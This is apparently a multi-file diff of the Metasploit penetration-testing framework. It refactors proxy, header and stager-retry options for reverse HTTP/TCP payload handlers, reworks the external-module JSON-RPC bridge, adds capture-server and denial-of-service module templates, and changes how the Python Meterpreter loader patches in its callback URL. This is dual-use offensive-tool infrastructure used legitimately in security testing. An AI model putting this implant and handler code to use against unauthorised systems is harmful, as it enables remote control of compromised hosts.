OptBool.new('IgnoreUnknownPayloads',
'Whether to drop connections from payloads using unknown UUIDs'
)
], Msf::Handler::ReverseHttp) ], Msf::Handler::ReverseHttp)
end end
@ -204,7 +226,7 @@ module ReverseHttp
raise ex if (ex) raise ex if (ex)
self.service.server_name = datastore['MeterpreterServerName'] self.service.server_name = datastore['HttpServerName']
# Add the new resource # Add the new resource
service.add_resource((luri + "/").gsub("//", "/"), service.add_resource((luri + "/").gsub("//", "/"),
@ -245,14 +267,14 @@ protected
info = {} info = {}
return @proxy_settings if @proxy_settings return @proxy_settings if @proxy_settings
if datastore['PayloadProxyHost'].to_s == '' if datastore['HttpProxyHost'].to_s == ''
@proxy_settings = info @proxy_settings = info
return @proxy_settings return @proxy_settings
end end
info[:host] = datastore['PayloadProxyHost'].to_s info[:host] = datastore['HttpProxyHost'].to_s
info[:port] = (datastore['PayloadProxyPort'] || 8080).to_i info[:port] = (datastore['HttpProxyPort'] || 8080).to_i
info[:type] = datastore['PayloadProxyType'].to_s info[:type] = datastore['HttpProxyType'].to_s
uri_host = info[:host] uri_host = info[:host]
@ -266,11 +288,11 @@ protected
info[:info] = "socks=#{info[:info]}" info[:info] = "socks=#{info[:info]}"
else else
info[:info] = "http://#{info[:info]}" info[:info] = "http://#{info[:info]}"
if datastore['PayloadProxyUser'].to_s != '' if datastore['HttpProxyUser'].to_s != ''
info[:username] = datastore['PayloadProxyUser'].to_s info[:username] = datastore['HttpProxyUser'].to_s
end end
if datastore['PayloadProxyPass'].to_s != '' if datastore['HttpProxyPass'].to_s != ''
info[:password] = datastore['PayloadProxyPass'].to_s info[:password] = datastore['HttpProxyPass'].to_s
end end
end end
@ -347,8 +369,6 @@ protected
blob = self.generate_stage( blob = self.generate_stage(
url: url, url: url,
uuid: uuid, uuid: uuid,
lhost: uri.host,
lport: uri.port,
uri: conn_id uri: conn_id
) )

View File

@ -38,14 +38,11 @@ module ReverseHttpsProxy
register_options( register_options(
[ [
OptAddressLocal.new('LHOST', [ true, "The local listener hostname" ,"127.0.0.1"]), OptAddressLocal.new('LHOST', "The local listener hostname", default: "127.0.0.1"),
OptPort.new('LPORT', [ true, "The local listener port", 8443 ]), OptPort.new('LPORT', "The local listener port", default: 8443)
OptString.new('PayloadProxyHost', [true, "The proxy server's IP address", "127.0.0.1"]), ] +
OptPort.new('PayloadProxyPort', [true, "The proxy port to connect to", 8080 ]), Msf::Opt::http_proxy_options,
OptEnum.new('PayloadProxyType', [true, 'The proxy type, HTTP or SOCKS', 'HTTP', ['HTTP', 'SOCKS']]), Msf::Handler::ReverseHttpsProxy)
OptString.new('PayloadProxyUser', [ false, "An optional username for HTTP proxy authentication"]),
OptString.new('PayloadProxyPass', [ false, "An optional password for HTTP proxy authentication"])
], Msf::Handler::ReverseHttpsProxy)
register_advanced_options( register_advanced_options(
[ [

View File

@ -45,15 +45,6 @@ module ReverseTcp
# XXX: Not supported by all modules # XXX: Not supported by all modules
register_advanced_options( register_advanced_options(
[ [
OptInt.new(
'StagerRetryCount',
[ true, 'The number of connection attempts to try before exiting the process', 10 ],
aliases: ['ReverseConnectRetries']
),
OptFloat.new(
'StagerRetryWait',
[ false, 'Number of seconds to wait for the stager between reconnect attempts', 5.0 ]
),
OptAddress.new( OptAddress.new(
'ReverseListenerBindAddress', 'ReverseListenerBindAddress',
[ false, 'The specific IP address to bind to on the local system' ] [ false, 'The specific IP address to bind to on the local system' ]
@ -62,7 +53,8 @@ module ReverseTcp
'ReverseListenerThreaded', 'ReverseListenerThreaded',
[ true, 'Handle every connection in a new thread (experimental)', false ] [ true, 'Handle every connection in a new thread (experimental)', false ]
) )
], ] +
Msf::Opt::stager_retry_options,
Msf::Handler::ReverseTcp Msf::Handler::ReverseTcp
) )

View File

@ -1,23 +1,79 @@
module Msf::Module::External module Msf::Module::External
include Msf::Auxiliary::Report
def wait_status(mod) def wait_status(mod)
while mod.running begin
m = mod.get_status while mod.running
if m m = mod.get_status
case m['level'] if m
when 'error' case m.method
print_error m['message'] when :message
when 'warning' log_output(m)
print_warning m['message'] when :report
when 'good' process_report(m)
print_good m['message'] when :reply
when 'info' # we're done
print_status m['message'] break
when 'debug' end
vprint_status m['message']
else
print_status m['message']
end end
end end
rescue Interrupt => e
raise e
rescue Exception => e
elog e.backtrace.join("\n")
fail_with Msf::Module::Failure::Unknown, e.message
end
end
def log_output(m)
message = m.params['message']
case m.params['level']
when 'error'
print_error message
when 'warning'
print_warning message
when 'good'
print_good message
when 'info'
print_status message
when 'debug'
vprint_status message
else
print_status message
end
end
def process_report(m)
data = m.params['data']
case m.params['type']
when 'host'
# Required
host = {host: data['host']}
# Optional
host[:state] = data['state'] if data['state'] # TODO: validate -- one of the Msf::HostState constants (unknown, alive, dead)
host[:os_name] = data['os_name'] if data['os_name']
host[:os_flavor] = data['os_flavor'] if data['os_flavor']
host[:os_sp] = data['os_sp'] if data['os_sp']
host[:os_lang] = data['os_lang'] if data['os_lang']
host[:arch] = data['arch'] if data['arch'] # TODO: validate -- one of the ARCH_* constants
host[:mac] = data['mac'] if data['mac']
host[:scope] = data['scope'] if data['scope']
host[:virtual_host] = data['virtual_host'] if data['virtual_host']
report_host(host)
when 'service'
# Required
service = {host: data['host'], port: data['port'], proto: data['proto']}
# Optional
service[:name] = data['name'] if data['name']
report_service(service)
else
print_warning "Skipping unrecognized report type #{m.params['type']}"
end end
end end
end end

View File

@ -24,6 +24,10 @@ module Msf::Module::FullName
type + '/' + refname type + '/' + refname
end end
def promptname
refname
end
def shortname def shortname
refname.split('/').last refname.split('/').last
end end
@ -55,9 +59,16 @@ module Msf::Module::FullName
end end
# #
# Returns the module's framework short name. This is a # Returns the module's framework prompt-friendly name.
# possibly conflicting name used for things like console #
# prompts. # reverse_tcp
#
def promptname
self.class.promptname
end
#
# Returns the module's framework short name.
# #
# reverse_tcp # reverse_tcp
# #

View File

@ -143,8 +143,7 @@ class Msf::Module::Platform
if (not mod.const_defined?('Names')) if (not mod.const_defined?('Names'))
elog("Failed to instantiate the platform list for module #{mod}") elog("Failed to instantiate the platform list for module #{mod}")
raise RuntimeError.new("Failed to instantiate the platform list for module #{mod}") raise "Failed to instantiate the platform list for module #{mod}"
return nil
end end
abbrev = mod.const_get('Abbrev') abbrev = mod.const_get('Abbrev')

View File

@ -116,8 +116,8 @@ module Msf::ModuleManager::Loading
loaders.each do |loader| loaders.each do |loader|
if loader.loadable?(path) if loader.loadable?(path)
count_by_type.merge!(loader.load_modules(path, options)) do |key, old, new| count_by_type.merge!(loader.load_modules(path, options)) do |key, prev, now|
old + new prev + now
end end
end end
end end

View File

@ -2,6 +2,7 @@
require 'msf/core/modules/external' require 'msf/core/modules/external'
require 'msf/core/modules/external/message' require 'msf/core/modules/external/message'
require 'open3' require 'open3'
require 'json'
class Msf::Modules::External::Bridge class Msf::Modules::External::Bridge
@ -26,14 +27,13 @@ class Msf::Modules::External::Bridge
def get_status def get_status
if self.running if self.running
n = receive_notification m = receive_notification
if n && n['params'] if m.nil?
n['params']
else
close_ios close_ios
self.running = false self.running = false
n['response'] if n
end end
return m
end end
end end
@ -41,30 +41,35 @@ class Msf::Modules::External::Bridge
self.env = {} self.env = {}
self.running = false self.running = false
self.path = module_path self.path = module_path
self.cmd = [self.path, self.path]
self.messages = Queue.new
self.buf = ''
end end
protected protected
attr_writer :path, :running attr_writer :path, :running
attr_accessor :env, :ios attr_accessor :cmd, :env, :ios, :buf, :messages, :wait_thread
def describe def describe
resp = send_receive(Msf::Modules::External::Message.new(:describe)) resp = send_receive(Msf::Modules::External::Message.new(:describe))
close_ios close_ios
resp['response'] resp.params
end end
# XXX TODO non-blocking writes, check write lengths, non-blocking JSON parse loop read # XXX TODO non-blocking writes, check write lengths
def send_receive(message) def send_receive(message)
send(message) send(message)
read_json(message.id, self.ios[1]) recv(message.id)
end end
def send(message) def send(message)
input, output, status = ::Open3.popen3(env, [self.path, self.path]) input, output, err, status = ::Open3.popen3(self.env, self.cmd)
self.ios = [input, output, status] self.ios = [input, output, err]
case Rex::ThreadSafe.select(nil, [input], nil, 0.1) self.wait_thread = status
# We would call Rex::Threadsafe directly, but that would require rex for standalone use
case select(nil, [input], nil, 0.1)
when nil when nil
raise "Cannot run module #{self.path}" raise "Cannot run module #{self.path}"
when [[], [input], []] when [[], [input], []]
@ -76,12 +81,10 @@ class Msf::Modules::External::Bridge
end end
def receive_notification def receive_notification
input, output, status = self.ios if self.messages.empty?
case Rex::ThreadSafe.select([output], nil, nil, 10) recv
when nil else
nil self.messages.pop
when [[output], [], []]
read_json(nil, output)
end end
end end
@ -89,18 +92,76 @@ class Msf::Modules::External::Bridge
fd.write(json) fd.write(json)
end end
def read_json(id, fd) def recv(filter_id=nil, timeout=600)
_, out, err = self.ios
message = ''
# Multiple messages can come over the wire all at once, and since yajl
# doesn't play nice with windows, we have to emulate a state machine to
# read just enough off the wire to get one request at a time. Since
# Windows cannot do a nonblocking read on a pipe, we are forced to do a
# whole lot of `select` syscalls and keep a buffer ourselves :(
begin begin
resp = fd.readpartial(10_000) loop do
JSON.parse(resp) # This is so we don't end up calling JSON.parse on every char and
# catch an exception. Windows can't do nonblock on pipes, so we
# still have to do the select if we are not at the end of object
# and don't have any buffer left
parts = self.buf.split '}', 2
if parts.length == 2 # [part, rest]
message << parts[0] << '}'
self.buf = parts[1]
break
elsif parts.length == 1 # [part]
if self.buf[-1] == '}'
message << parts[0] << '}'
self.buf = ''
break
else
message << parts[0]
self.buf = ''
end
end
# We would call Rex::Threadsafe directly, but that would require Rex for standalone use
res = select([out, err], nil, nil, timeout)
if res == nil
# This is what we would have gotten without Rex and what `readpartial` can also raise
raise EOFError.new
else
fds = res[0]
# Preferentially drain and log stderr
if fds.include? err
errbuf = err.readpartial(4096)
elog "Unexpected output running #{self.path}:\n#{errbuf}"
end
if fds.include? out
self.buf << out.readpartial(4096)
end
end
end
m = Msf::Modules::External::Message.from_module(JSON.parse(message))
if filter_id && m.id != filter_id
# We are filtering for a response to a particular message, but we got
# something else, store the message and try again
self.messages.push m
read_json(filter_id, timeout)
else
# Either we weren't filtering, or we got what we were looking for
m
end
rescue JSON::ParserError
# Probably an incomplete response, but no way to really tell. Keep trying
# until EOF
retry
rescue EOFError => e rescue EOFError => e
{} nil
end end
end end
def close_ios def close_ios
input, output, status = self.ios self.ios.each {|fd| fd.close rescue nil} # Yeah, yeah. I know.
[input, output].each {|fd| fd.close rescue nil} # Yeah, yeah. I know.
end end
end end

View File

@ -2,11 +2,25 @@
require 'msf/core/modules/external' require 'msf/core/modules/external'
require 'base64' require 'base64'
require 'json' require 'json'
require 'securerandom'
class Msf::Modules::External::Message class Msf::Modules::External::Message
attr_reader :method, :id attr_reader :method
attr_accessor :params attr_accessor :params, :id
def self.from_module(j)
if j['method']
m = self.new(j['method'].to_sym)
m.params = j['params']
m
elsif j['response']
m = self.new(:reply)
m.params = j['response']
m.id = j['id']
m
end
end
def initialize(m) def initialize(m)
self.method = m self.method = m
@ -20,5 +34,5 @@ class Msf::Modules::External::Message
protected protected
attr_writer :method, :id attr_writer :method
end end

View File

@ -1,20 +1,37 @@
import sys, os, json import sys, os, json
def log(message, level='info'): def log(message, level='info'):
print(json.dumps({'jsonrpc': '2.0', 'method': 'message', 'params': { rpc_send({'jsonrpc': '2.0', 'method': 'message', 'params': {
'level': level, 'level': level,
'message': message 'message': message
}})) }})
sys.stdout.flush()
def run(metadata, exploit): def report_host(ip, opts={}):
host = opts.copy()
host.update({'host': ip})
rpc_send({'jsonrpc': '2.0', 'method': 'report', 'params': {
'type': 'host', 'data': host
}})
def report_service(ip, opts={}):
service = opts.copy()
service.update({'host': ip})
rpc_send({'jsonrpc': '2.0', 'method': 'report', 'params': {
'type': 'service', 'data': service
}})
def run(metadata, module_callback):
req = json.loads(os.read(0, 10000)) req = json.loads(os.read(0, 10000))
if req['method'] == 'describe': if req['method'] == 'describe':
print(json.dumps({'jsonrpc': '2.0', 'id': req['id'], 'response': metadata})) rpc_send({'jsonrpc': '2.0', 'id': req['id'], 'response': metadata})
elif req['method'] == 'run': elif req['method'] == 'run':
args = req['params'] args = req['params']
exploit(args) module_callback(args)
print(json.dumps({'jsonrpc': '2.0', 'id': req['id'], 'response': { rpc_send({'jsonrpc': '2.0', 'id': req['id'], 'response': {
'message': 'Exploit completed' 'message': 'Module completed'
}})) }})
sys.stdout.flush()
def rpc_send(req):
print(json.dumps(req))
sys.stdout.flush()

View File

@ -9,6 +9,13 @@ class Msf::Modules::External::Shim
case mod.meta['type'] case mod.meta['type']
when 'remote_exploit_cmd_stager' when 'remote_exploit_cmd_stager'
remote_exploit_cmd_stager(mod) remote_exploit_cmd_stager(mod)
when 'capture_server'
capture_server(mod)
when 'dos'
dos(mod)
else
# TODO have a nice load error show up in the logs
''
end end
end end
@ -26,10 +33,6 @@ class Msf::Modules::External::Shim
meta[:name] = mod.meta['name'].dump meta[:name] = mod.meta['name'].dump
meta[:description] = mod.meta['description'].dump meta[:description] = mod.meta['description'].dump
meta[:authors] = mod.meta['authors'].map(&:dump).join(",\n ") meta[:authors] = mod.meta['authors'].map(&:dump).join(",\n ")
meta[:date] = mod.meta['date'].dump
meta[:references] = mod.meta['references'].map do |r|
"[#{r['type'].upcase.dump}, #{r['ref'].dump}]"
end.join(",\n ")
meta[:options] = mod.meta['options'].map do |n, o| meta[:options] = mod.meta['options'].map do |n, o|
"Opt#{o['type'].capitalize}.new(#{n.dump}, "Opt#{o['type'].capitalize}.new(#{n.dump},
@ -39,11 +42,15 @@ class Msf::Modules::External::Shim
end end
def self.mod_meta_exploit(mod, meta = {}) def self.mod_meta_exploit(mod, meta = {})
meta[:date] = mod.meta['date'].dump
meta[:wfsdelay] = mod.meta['wfsdelay'] || 5 meta[:wfsdelay] = mod.meta['wfsdelay'] || 5
meta[:privileged] = mod.meta['privileged'].inspect meta[:privileged] = mod.meta['privileged'].inspect
meta[:platform] = mod.meta['targets'].map do |t| meta[:platform] = mod.meta['targets'].map do |t|
t['platform'].dump t['platform'].dump
end.uniq.join(",\n ") end.uniq.join(",\n ")
meta[:references] = mod.meta['references'].map do |r|
"[#{r['type'].upcase.dump}, #{r['ref'].dump}]"
end.join(",\n ")
meta[:targets] = mod.meta['targets'].map do |t| meta[:targets] = mod.meta['targets'].map do |t|
"[#{t['platform'].dump} + ' ' + #{t['arch'].dump}, {'Arch' => ARCH_#{t['arch'].upcase}, 'Platform' => #{t['platform'].dump} }]" "[#{t['platform'].dump} + ' ' + #{t['arch'].dump}, {'Arch' => ARCH_#{t['arch'].upcase}, 'Platform' => #{t['platform'].dump} }]"
end.join(",\n ") end.join(",\n ")
@ -56,4 +63,19 @@ class Msf::Modules::External::Shim
meta[:command_stager_flavor] = mod.meta['payload']['command_stager_flavor'].dump meta[:command_stager_flavor] = mod.meta['payload']['command_stager_flavor'].dump
render_template('remote_exploit_cmd_stager.erb', meta) render_template('remote_exploit_cmd_stager.erb', meta)
end end
def self.capture_server(mod)
meta = mod_meta_common(mod)
render_template('capture_server.erb', meta)
end
def self.dos(mod)
meta = mod_meta_common(mod)
meta[:date] = mod.meta['date'].dump
meta[:references] = mod.meta['references'].map do |r|
"[#{r['type'].upcase.dump}, #{r['ref'].dump}]"
end.join(",\n ")
render_template('dos.erb', meta)
end
end end

View File

@ -0,0 +1,26 @@
require 'msf/core/modules/external/bridge'
require 'msf/core/module/external'
class MetasploitModule < Msf::Auxiliary
include Msf::Module::External
def initialize
super({
<%= common_metadata meta %>
'Actions' => [ ['Capture'] ],
'PassiveActions' => ['Capture'],
'DefaultAction' => 'Capture'
})
register_options([
<%= meta[:options] %>
])
end
def run
print_status("Starting server...")
mod = Msf::Modules::External::Bridge.open(<%= meta[:path] %>)
mod.run(datastore)
wait_status(mod)
end
end

View File

@ -0,0 +1,29 @@
require 'msf/core/modules/external/bridge'
require 'msf/core/module/external'
class MetasploitModule < Msf::Auxiliary
include Msf::Module::External
include Msf::Auxiliary::Dos
def initialize
super({
<%= common_metadata meta %>
'References' =>
[
<%= meta[:references] %>
],
'DisclosureDate' => <%= meta[:date] %>,
})
register_options([
<%= meta[:options] %>
])
end
def run
print_status("Starting server...")
mod = Msf::Modules::External::Bridge.open(<%= meta[:path] %>)
mod.run(datastore)
wait_status(mod)
end
end

View File

@ -1,7 +1,6 @@
# -*- coding: binary -*- # -*- coding: binary -*-
module Msf module Msf
# #
# Builtin framework options with shortcut methods # Builtin framework options with shortcut methods
# #
@ -51,22 +50,62 @@ module Msf
Msf::OptPort.new(__method__.to_s, [ required, desc, default ]) Msf::OptPort.new(__method__.to_s, [ required, desc, default ])
end end
# @return [OptEnum] def self.ssl_supported_options
def self.SSLVersion @m ||= ['Auto', 'TLS'] + OpenSSL::SSL::SSLContext::METHODS \
Msf::OptEnum.new('SSLVersion', [ false, .select{|m| !m.to_s.include?('client') && !m.to_s.include?('server')} \
'Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate)', 'Auto', .select{|m| OpenSSL::SSL::SSLContext.new(m) && true rescue false} \
['Auto', 'SSL2', 'SSL3', 'SSL23', 'TLS', 'TLS1', 'TLS1.1', 'TLS1.2']]) .map{|m| m.to_s.sub(/v/, '').sub('_', '.')}
end end
# These are unused but remain for historical reasons # @return [OptEnum]
class << self def self.SSLVersion
alias builtin_chost CHOST Msf::OptEnum.new('SSLVersion',
alias builtin_cport CPORT 'Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate)',
alias builtin_lhost LHOST enums: self.ssl_supported_options
alias builtin_lport LPORT )
alias builtin_proxies Proxies end
alias builtin_rhost RHOST
alias builtin_rport RPORT def self.stager_retry_options
[
OptInt.new('StagerRetryCount',
'The number of times the stager should retry if the first connect fails',
default: 10,
aliases: ['ReverseConnectRetries']
),
OptInt.new('StagerRetryWait',
'Number of seconds to wait for the stager between reconnect attempts',
default: 5
)
]
end
def self.http_proxy_options
[
OptString.new('HttpProxyHost', 'An optional proxy server IP address or hostname',
aliases: ['PayloadProxyHost']
),
OptPort.new('HttpProxyPort', 'An optional proxy server port',
aliases: ['PayloadProxyPort']
),
OptString.new('HttpProxyUser', 'An optional proxy server username',
aliases: ['PayloadProxyUser']
),
OptString.new('HttpProxyPass', 'An optional proxy server password',
aliases: ['PayloadProxyPass']
),
OptEnum.new('HttpProxyType', 'The type of HTTP proxy',
enums: ['HTTP', 'SOCKS'],
aliases: ['PayloadProxyType']
)
]
end
def self.http_header_options
[
OptString.new('HttpHostHeader', 'An optional value to use for the Host HTTP header'),
OptString.new('HttpCookie', 'An optional value to use for the Cookie HTTP header'),
OptString.new('HttpReferer', 'An optional value to use for the Referer HTTP header')
]
end end
CHOST = CHOST() CHOST = CHOST()
@ -78,5 +117,4 @@ module Msf
RPORT = RPORT() RPORT = RPORT()
SSLVersion = SSLVersion() SSLVersion = SSLVersion()
end end
end end

View File

@ -22,15 +22,39 @@ module Msf
# attrs[3] = possible enum values # attrs[3] = possible enum values
# attrs[4] = Regex to validate the option # attrs[4] = Regex to validate the option
# #
def initialize(in_name, attrs = [], aliases: []) # Attrs can also be specified explicitly via named parameters, or attrs can
# also be a string as standin for the required description field.
#
def initialize(in_name, attrs = [],
required: false, desc: nil, default: nil, enums: [], regex: nil, aliases: [])
self.name = in_name self.name = in_name
self.advanced = false self.advanced = false
self.evasion = false self.evasion = false
self.required = attrs[0] || false self.aliases = aliases
self.desc = attrs[1]
self.default = attrs[2] if attrs.is_a?(String) || attrs.length == 0
self.enums = [ *(attrs[3]) ].map { |x| x.to_s } self.required = required
regex_temp = attrs[4] || nil self.desc = attrs.is_a?(String) ? attrs : desc
self.enums = [ *(enums) ].map { |x| x.to_s }
if default.nil? && enums.length > 0
self.default = enums[0]
else
self.default = default
end
regex_temp = regex
else
if attrs[0].nil?
self.required = required
else
self.required = attrs[0]
end
self.desc = attrs[1] || desc
self.default = attrs[2] || default
self.enums = attrs[3] || enums
self.enums = [ *(self.enums) ].map { |x| x.to_s }
regex_temp = attrs[4] || regex
end
if regex_temp if regex_temp
# convert to string # convert to string
regex_temp = regex_temp.to_s if regex_temp.is_a? Regexp regex_temp = regex_temp.to_s if regex_temp.is_a? Regexp
@ -45,35 +69,34 @@ module Msf
raise("Invalid Regex #{regex_temp}: #{e}") raise("Invalid Regex #{regex_temp}: #{e}")
end end
end end
self.aliases = aliases
end end
# #
# Returns true if this is a required option. # Returns true if this is a required option.
# #
def required? def required?
return required required
end end
# #
# Returns true if this is an advanced option. # Returns true if this is an advanced option.
# #
def advanced? def advanced?
return advanced advanced
end end
# #
# Returns true if this is an evasion option. # Returns true if this is an evasion option.
# #
def evasion? def evasion?
return evasion evasion
end end
# #
# Returns true if the supplied type is equivalent to this option's type. # Returns true if the supplied type is equivalent to this option's type.
# #
def type?(in_type) def type?(in_type)
return (type == in_type) type == in_type
end end
# #
@ -94,7 +117,7 @@ module Msf
if regex if regex
return !!value.match(regex) return !!value.match(regex)
end end
return true true
end end
# #
@ -102,7 +125,7 @@ module Msf
# a valid value # a valid value
# #
def empty_required_value?(value) def empty_required_value?(value)
return (required? and value.nil?) required? && value.nil?
end end
# #
@ -169,6 +192,4 @@ module Msf
attr_writer :required, :desc, :default # :nodoc: attr_writer :required, :desc, :default # :nodoc:
end end
end end

View File

@ -1,48 +1,33 @@
# -*- coding: binary -*- # -*- coding: binary -*-
module Msf module Msf
# Boolean option type
class OptBool < OptBase
TRUE_REGEX = /^(y|yes|t|1|true)$/i
ANY_REGEX = /^(y|yes|n|no|t|f|0|1|true|false)$/i
### # This overrides default from 'nil' to 'false'
# def initialize(in_name, attrs = [],
# Boolean option. required: true, desc: nil, default: false, aliases: [])
# super
###
class OptBool < OptBase
TrueRegex = /^(y|yes|t|1|true)$/i
def type
return 'bool'
end
def valid?(value, check_empty: true)
return false if empty_required_value?(value)
if ((value != nil and
(value.to_s.empty? == false) and
(value.to_s.match(/^(y|yes|n|no|t|f|0|1|true|false)$/i) == nil)))
return false
end end
true def type
end return 'bool'
end
def normalize(value) def valid?(value, check_empty: true)
if(value.nil? or value.to_s.match(TrueRegex).nil?) return false if check_empty && empty_required_value?(value)
false return true if value.nil? && !required?
else
true !(value.nil? ||
value.to_s.empty? ||
value.to_s.match(ANY_REGEX).nil?)
end
def normalize(value)
!(value.nil? ||
value.to_s.match(TRUE_REGEX).nil?)
end end
end end
def is_true?(value)
return normalize(value)
end
def is_false?(value)
return !is_true?(value)
end
end
end end

View File

@ -1,48 +1,49 @@
# -*- coding: binary -*- # -*- coding: binary -*-
module Msf module Msf
###
### #
# # Enum option.
# Enum option. #
# ###
### class OptEnum < OptBase
class OptEnum < OptBase def type
return 'enum'
def type
return 'enum'
end
def valid?(value=self.value, check_empty: true)
return false if check_empty && empty_required_value?(value)
return true if value.nil? and !required?
(value and self.enums.include?(value.to_s))
end
def normalize(value=self.value)
return nil if not self.valid?(value)
return value.to_s
end
def desc=(value)
self.desc_string = value
self.desc
end
def desc
if self.enums
str = self.enums.join(', ')
end end
"#{self.desc_string || ''} (Accepted: #{str})"
# This overrides required default from 'false' to 'true'
def initialize(in_name, attrs = [],
required: true, desc: nil, default: nil, enums: [], aliases: [])
super
end
def valid?(value = self.value, check_empty: true)
return false if check_empty && empty_required_value?(value)
return true if value.nil? && !required?
!value.nil? && enums.include?(value.to_s)
end
def normalize(value = self.value)
if valid?(value)
value.to_s
else
nil
end
end
def desc=(value)
self.desc_string = value
desc
end
def desc
str = enums.join(', ') if enums
"#{desc_string || ''} (Accepted: #{str})"
end
protected
attr_accessor :desc_string # :nodoc:
end end
protected
attr_accessor :desc_string # :nodoc:
end
end end

View File

@ -20,6 +20,14 @@ module Payload::Android::ReverseHttp
include Msf::Payload::Android::PayloadOptions include Msf::Payload::Android::PayloadOptions
include Msf::Payload::UUID::Options include Msf::Payload::UUID::Options
#
# Register reverse_http specific options
#
def initialize(*args)
super
register_advanced_options(Msf::Opt::http_header_options)
end
# #
# Generate the transport-specific configuration # Generate the transport-specific configuration
# #

View File

@ -23,10 +23,13 @@ module Payload::Java::ReverseHttp
# #
def initialize(*args) def initialize(*args)
super super
register_advanced_options([ register_advanced_options(
Msf::OptInt.new('Spawn', [true, 'Number of subprocesses to spawn', 2]), [
Msf::OptInt.new('StagerURILength', [false, 'The URI length for the stager (at least 5 bytes)']) OptInt.new('Spawn', [true, 'Number of subprocesses to spawn', 2]),
]) OptInt.new('StagerURILength', [false, 'The URI length for the stager (at least 5 bytes)']),
] +
Msf::Opt::http_header_options
)
end end
# #
@ -64,6 +67,10 @@ module Payload::Java::ReverseHttp
c = '' c = ''
c << "Spawn=#{ds["Spawn"] || 2}\n" c << "Spawn=#{ds["Spawn"] || 2}\n"
c << "HeaderUser-Agent=#{ds["HttpUserAgent"]}\n" if ds["HttpUserAgent"]
c << "HeaderHost=#{ds["HttpHostHeader"]}\n" if ds["HttpHostHeader"]
c << "HeaderReferer=#{ds["HttpReferer"]}\n" if ds["HttpReferer"]
c << "HeaderCookie=#{ds["HttpCookie"]}\n" if ds["HttpCookie"]
c << "URL=#{scheme}://#{ds['LHOST']}" c << "URL=#{scheme}://#{ds['LHOST']}"
c << ":#{ds['LPORT']}" if ds['LPORT'] c << ":#{ds['LPORT']}" if ds['LPORT']
c << luri c << luri

View File

@ -22,16 +22,12 @@ module Payload::Multi::ReverseHttp
# #
def initialize(*args) def initialize(*args)
super super
register_advanced_options([ register_advanced_options(
OptInt.new('StagerURILength', [false, 'The URI length for the stager (at least 5 bytes)']), [ OptInt.new('StagerURILength', 'The URI length for the stager (at least 5 bytes)') ] +
OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails', 10], Msf::Opt::stager_retry_options +
aliases: ['ReverseConnectRetries']), Msf::Opt::http_header_options +
OptString.new('PayloadProxyHost', [false, 'An optional proxy server IP address or hostname']), Msf::Opt::http_proxy_options
OptPort.new('PayloadProxyPort', [false, 'An optional proxy server port']), )
OptString.new('PayloadProxyUser', [false, 'An optional proxy server username']),
OptString.new('PayloadProxyPass', [false, 'An optional proxy server password']),
OptEnum.new('PayloadProxyType', [false, 'The type of HTTP proxy (HTTP or SOCKS)', 'HTTP', ['HTTP', 'SOCKS']])
])
end end
# #
@ -67,4 +63,3 @@ module Payload::Multi::ReverseHttp
end end
end end

View File

@ -28,10 +28,20 @@ module Payload::Python::MeterpreterLoader
'Stager' => {'Payload' => ""} 'Stager' => {'Payload' => ""}
)) ))
register_advanced_options([ register_advanced_options(
OptBool.new('MeterpreterTryToFork', [ true, 'Fork a new process if the functionality is available', true ]), [
OptBool.new('PythonMeterpreterDebug', [ true, 'Enable debugging for the Python meterpreter', false ]) OptBool.new(
], self.class) 'MeterpreterTryToFork',
'Fork a new process if the functionality is available',
default: true
),
OptBool.new(
'PythonMeterpreterDebug',
'Enable debugging for the Python meterpreter'
),
] +
Msf::Opt::http_header_options
)
end end
def stage_payload(opts={}) def stage_payload(opts={})
@ -85,17 +95,40 @@ module Payload::Python::MeterpreterLoader
end end
met.sub!("SESSION_GUID = \'\'", "SESSION_GUID = \'#{session_guid}\'") met.sub!("SESSION_GUID = \'\'", "SESSION_GUID = \'#{session_guid}\'")
http_user_agent = opts[:http_user_agent] || ds['MeterpreterUserAgent'] http_user_agent = opts[:http_user_agent] || ds['HttpUserAgent']
http_proxy_host = opts[:http_proxy_host] || ds['PayloadProxyHost'] || ds['PROXYHOST'] http_proxy_host = opts[:http_proxy_host] || ds['HttpProxyHost'] || ds['PROXYHOST']
http_proxy_port = opts[:http_proxy_port] || ds['PayloadProxyPort'] || ds['PROXYPORT'] http_proxy_port = opts[:http_proxy_port] || ds['HttpProxyPort'] || ds['PROXYPORT']
http_header_host = opts[:header_host] || ds['HttpHostHeader']
http_header_cookie = opts[:header_cookie] || ds['HttpCookie']
http_header_referer = opts[:header_referer] || ds['HttpReferer']
# patch in the stageless http(s) connection url # The callback URL can be different to the one that we're receiving from the interface
met.sub!('HTTP_CONNECTION_URL = None', "HTTP_CONNECTION_URL = '#{var_escape.call(opts[:url])}'") if opts[:url].to_s != '' # so we need to generate it
met.sub!('HTTP_USER_AGENT = None', "HTTP_USER_AGENT = '#{var_escape.call(http_user_agent)}'") if http_user_agent.to_s != '' # TODO: move this to somewhere more common so that it can be used across payload types
unless opts[:url].to_s == ''
uri = "/#{opts[:url].split('/').reject(&:empty?)[-1]}"
callback_url = [
opts[:url].to_s.split(':')[0],
'://',
(ds['OverrideRequestHost'] == true ? ds['OverrideRequestLHOST'] : ds['LHOST']).to_s,
':',
(ds['OverrideRequestHost'] == true ? ds['OverrideRequestLPORT'] : ds['LPORT']).to_s,
ds['LURI'].to_s,
uri,
'/'
].join('')
if http_proxy_host.to_s != '' # patch in the various payload related configuration
proxy_url = "http://#{http_proxy_host}:#{http_proxy_port}" met.sub!('HTTP_CONNECTION_URL = None', "HTTP_CONNECTION_URL = '#{var_escape.call(callback_url)}'")
met.sub!('HTTP_PROXY = None', "HTTP_PROXY = '#{var_escape.call(proxy_url)}'") met.sub!('HTTP_USER_AGENT = None', "HTTP_USER_AGENT = '#{var_escape.call(http_user_agent)}'") if http_user_agent.to_s != ''
met.sub!('HTTP_COOKIE = None', "HTTP_COOKIE = '#{var_escape.call(http_header_cookie)}'") if http_header_cookie.to_s != ''
met.sub!('HTTP_HOST = None', "HTTP_HOST = '#{var_escape.call(http_header_host)}'") if http_header_host.to_s != ''
met.sub!('HTTP_REFERER = None', "HTTP_REFERER = '#{var_escape.call(http_header_referer)}'") if http_header_referer.to_s != ''
if http_proxy_host.to_s != ''
proxy_url = "http://#{http_proxy_host}:#{http_proxy_port}"
met.sub!('HTTP_PROXY = None', "HTTP_PROXY = '#{var_escape.call(proxy_url)}'")
end
end end
